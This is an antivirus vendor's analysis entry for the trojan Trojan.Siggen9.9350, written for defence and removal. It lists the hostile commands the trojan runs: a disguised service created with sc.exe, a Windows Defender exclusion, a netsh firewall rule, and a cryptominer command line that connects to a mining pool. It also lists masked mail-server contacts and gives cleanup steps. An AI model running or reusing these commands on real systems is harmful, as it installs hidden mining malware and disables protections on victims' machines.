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Trojan.Siggen9.9350

Added to the Dr.Web virus database: 2020-02-06

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\zbinvoer] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\zbinvoer] 'ImagePath' = '%WINDIR%\SysWOW64\zbinvoer\pjjaluln.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\zbinvoer] 'ImagePath' = '%WINDIR%\SysWOW64\zbinvoer\pjjaluln.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\zbinvoer' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\pjjaluln.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\pjjaluln.exe to %WINDIR%\syswow64\zbinvoer\pjjaluln.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://www.google.com/
  • '43.#31.4.7':443
  • 'mx.##curemx.jp':25
  • 'ma##.melaka.net':25
  • '18#.#65.238.150':422
  • '78.#1.67.23':422
  • '17#.#.114.177':422
  • '46.#.52.109':422
  • '93.##9.69.109':422
  • '46.#8.66.2':422
  • 'ms#####p-mx2.hinet.net':25
  • 'um####.hinet.net':25
  • 'mx#.##con.net.nz':25
  • 'ma##.##lloonheaven.com':25
  • 'al######x-vip2.prodigy.net':25
  • 'alt1.aspmx.l.google.com':25
  • 'ma##.##kotechno.co.id':25
  • 'ma##.##panekspertiz.com':25
  • 'iw####.cniteam.com':25
  • 'ma##.#ailerhost.net':25
  • 'ms#####p-mx1.hinet.net':25
  • 'd1######.#ss.barracudanetworks.com':25
  • 'ma###.#eiersdorf.com':25
  • 'mx.##.#topenworld.com':25
  • '85.##4.134.88':486
  • 'ho#########.olc.protection.outlook.com':25
  • 'mi####.bittubeapp.com':13333
  • 'mx###.##il.am0.yahoodns.net':25
  • 'mx#.#anmail.net':25
  • 'alt1.gmail-smtp-in.l.google.com':25
  • 'br##.###.mx1.greymail.rcimx.net':25
  • 'ff######x-vip1.prodigy.net':25
  • 'mx#####.#ail.gm0.yahoodns.net':25
  • 'mx#.##rthlink.net':25
  • 'ma##.###ellentcars.co.za':25
  • 'mt##.##0.yahoodns.net':25
  • 'mx#.#avana.cz':25
  • 'ma##.bpg.lt':25
  • 'eu#.###.#rotection.outlook.com':25
  • 'mx#####.ppe-hosted.com':25
  • 'ma##.###ional.niagara.on.ca':25
  • 'do####longeng.com':25
  • 'bp##########0i.mail.protection.outlook.com':25
  • '16#####.mxmail.netease.com':25
  • 'mx.###akeasy.net':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK sb###obal.net
    • DNS ASK al######x-vip2.prodigy.net
    • DNS ASK ma##.#chneider.pl
    • DNS ASK ma##.#ailerhost.net
    • DNS ASK google.com
    • DNS ASK ms#####p-mx2.hinet.net
    • DNS ASK um####.hinet.net
    • DNS ASK ms##.hinet.net
    • DNS ASK li##y.com
    • DNS ASK ma######prde3.xh1.lilly.com
    • DNS ASK or###.net.nz
    • DNS ASK mx#.##con.net.nz
    • DNS ASK re##ult.com
    • DNS ASK sm##.renault.fr
    • DNS ASK ma##.melaka.net
    • DNS ASK um###.hinet.net
    • DNS ASK me##ka.net
    • DNS ASK ms#####p-mx1.hinet.net
    • DNS ASK ju##y.it
    • DNS ASK si####chno.co.id
    • DNS ASK ma##.##kotechno.co.id
    • DNS ASK t-##line.de
    • DNS ASK mx##.#-online.de
    • DNS ASK ms#.#inet.net
    • DNS ASK be###sdorf.com
    • DNS ASK je##o.go.jp
    • DNS ASK ma###.#eiersdorf.com
    • DNS ASK su#.com
    • DNS ASK as#####30.oracle.com
    • DNS ASK gm#.de
    • DNS ASK mx##.#mig.gmx.net
    • DNS ASK ya###.com.tr
    • DNS ASK mx.##curemx.jp
    • DNS ASK xt##.co.nz
    • DNS ASK go#.net
    • DNS ASK ma##.net.pl
    • DNS ASK tu####kina.com.tr
    • DNS ASK li##.net
    • DNS ASK mx.####datacenter.net
    • DNS ASK ju##.com
    • DNS ASK mx.##s.untd.com
    • DNS ASK oa####dvillage.net
    • DNS ASK ke##hum.com
    • DNS ASK xf#####1-2.coned.com
    • DNS ASK mx######91001.pphosted.com
    • DNS ASK fr##mail.hu
    • DNS ASK fm#.#reemail.hu
    • DNS ASK sp###easy.net
    • DNS ASK mx.###akeasy.net
    • DNS ASK co####avidson.co.nz
    • DNS ASK ma##.##panekspertiz.com
    • DNS ASK cx#.##.#.cloudfilter.net
    • DNS ASK al####kspertiz.com
    • DNS ASK alt1.aspmx.l.google.com
    • DNS ASK ba####nheaven.com
    • DNS ASK ma##.##lloonheaven.com
    • DNS ASK ca###ail.com
    • DNS ASK mx##.#aramail.com
    • DNS ASK uk###nka.net
    • DNS ASK ju####glishtr.com
    • DNS ASK co##d.com
    • DNS ASK mx#.##curemx.biz
    • DNS ASK mx.##ra.co.nz
    • DNS ASK ya##o.com
    • DNS ASK me##net.net
    • DNS ASK br##ht.net
    • DNS ASK iw####.cniteam.com
    • DNS ASK mf##.co.nz
    • DNS ASK me###enders.com
    • DNS ASK d1######.#ss.barracudanetworks.com
    • DNS ASK co#.net
    • DNS ASK bp##########0i.mail.protection.outlook.com
    • DNS ASK mx#.#omcast.net
    • DNS ASK ex####entcars.co.za
    • DNS ASK ma##.###ellentcars.co.za
    • DNS ASK bp#####rnational.com
    • DNS ASK mx#####.ppe-hosted.com
    • DNS ASK ex####s-scripts.com
    • DNS ASK il###ois.edu
    • DNS ASK ya##o.in
    • DNS ASK in#######relays.illinois.edu
    • DNS ASK be###outh.net
    • DNS ASK ff######x-vip1.prodigy.net
    • DNS ASK br##.net
    • DNS ASK br##.###.mx1.greymail.rcimx.net
    • DNS ASK ti##ali.be
    • DNS ASK co##ast.net
    • DNS ASK ps#######1.express-scripts.com
    • DNS ASK mx#######101.gslb.pphosted.com
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK ho##ail.com
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK ya##o.de
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK ha##ail.net
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK mx#.#anmail.net
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK gm##l.com
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK alt1.gmail-smtp-in.l.google.com
    • DNS ASK pr###erinc.com
    • DNS ASK sk##t.info
    • DNS ASK st###farm.com
    • DNS ASK mx#.#ate.com
    • DNS ASK pk#####.#sg.pkvw.co.charter.net
    • DNS ASK ya##o.es
    • DNS ASK do####longeng.com
    • DNS ASK re#####l.niagara.on.ca
    • DNS ASK ma##.###ional.niagara.on.ca
    • DNS ASK bp###td.co.uk
    • DNS ASK we#.de
    • DNS ASK na##.com
    • DNS ASK mx###02.web.de
    • DNS ASK 16#.com
    • DNS ASK 16#####.mxmail.netease.com
    • DNS ASK ya##o.co.nz
    • DNS ASK bt###nworld.com
    • DNS ASK mx.##.#topenworld.com
    • DNS ASK st##.rr.com
    • DNS ASK ma###.statefarm.com
    • DNS ASK ma##.gmail.com
    • DNS ASK ma##.bpg.lt
    • DNS ASK in###serv.com
    • DNS ASK mx#.##rthlink.net
    • DNS ASK ya##o.ca
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK id####amping.com
    • DNS ASK bp#.lt
    • DNS ASK mx#####.#ail.gm0.yahoodns.net
    • DNS ASK mx#.##m.iphmx.com
    • DNS ASK mx#.#avana.cz
    • DNS ASK po#.##ndspring.com
    • DNS ASK ho###il.co.uk
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK ya##o.co.in
    • DNS ASK om#.com
    • DNS ASK nh#.be
    • DNS ASK mx#######201.gslb.pphosted.com
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\zbinvoer\pjjaluln.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\zbinvoer\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\pjjaluln.exe" %WINDIR%\SysWOW64\zbinvoer\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create zbinvoer binPath= "%WINDIR%\SysWOW64\zbinvoer\pjjaluln.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description zbinvoer "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start zbinvoer' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\zbinvoer\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\pjjaluln.exe" %WINDIR%\SysWOW64\zbinvoer\
    • '%WINDIR%\syswow64\sc.exe' create zbinvoer binPath= "%WINDIR%\SysWOW64\zbinvoer\pjjaluln.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description zbinvoer "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start zbinvoer
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
    2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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    After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

    Find out more about Dr.Web for Android

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